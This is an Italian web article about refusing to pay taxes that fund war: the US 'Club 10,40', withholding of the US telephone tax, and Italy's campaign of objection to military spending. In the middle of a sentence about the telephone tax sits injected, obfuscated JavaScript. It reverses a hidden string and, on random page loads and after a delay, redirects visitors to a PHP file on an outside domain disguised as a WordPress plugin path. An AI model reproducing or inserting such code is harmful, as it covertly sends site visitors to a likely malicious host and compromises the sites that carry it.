Quelli che non pagano per la guerra

image_pdfimage_print

Si chiama “Club 10, 40”, è nato negli Stati Uniti, e ammette tutti come soci tranne i guerrafondai. è l’ultima forma di opposizione alle tasse destinate a fini militari. Il suo obiettivo, rendere le persone consapevoli che ha poco senso operare per la pace e poi pagare la guerra con le proprie tasse. I soci che aderiscono all’iniziativa – nata l’anno scorso – detraggono 10,40 dollari dalle proprie tasse federali. Una somma simbolica che permette di manifestare chiaramente la propria opposizione alla guerra e allo stesso tempo di non incorrere in sanzioni. Il Club suggerisce ai propri soci di inviare la piccola quota a un fondo alternativo, a un gruppo pacifista, a un progetto sociale, ecologico o di carattere umanitario.
Un’altra forma di disobbedienza civile, che va avanti da più di 30 anni ma che è ancora molto diffusa, interessa le bollette del telefono, che negli Stati Uniti comprendono un’imposta, circa il 3% dell’importo, indirizzata alle spese militari. Questa piccola percentuale dal 1996 al 2001 ha rifornito le casse del bilancio della difesa di ben 89 miliardi di dollari! L’utente disobbediente avverte la compagnia telefonica della somma trattenuta, specific (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando che verrà utilizzata a sostegno di progetti di pace. è stato stimato che nel 1972, durante il conflitto in Vietnam, quasi mezzo milione di persone si rifiutarono di pagare questa tassa.
La “Campagna di obiezione alle spese militari” è la versione italiana nata nel 1982. In questi anni la Campagna ha ottenuto risultati importanti come l’istituzione dell’Ufficio Nazionale del Servizio Civile, il primo ufficio statale di questo genere in tutta Europa. Ma ancora rimangono due obiettivi principali da raggiungere: l’opzione fiscale che dia la libertà di finanziare solo la difesa non armata e la riduzione delle spese militari in favore di quelle sociali e dei servizi al cittadino. Per questo, ultimamente è stata proposta la creazione di un centro di ricerca e di un coordinamento delle associazioni impegnate in questo senso.
Info: http://ospiti.peacelink.it/cnosm/

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *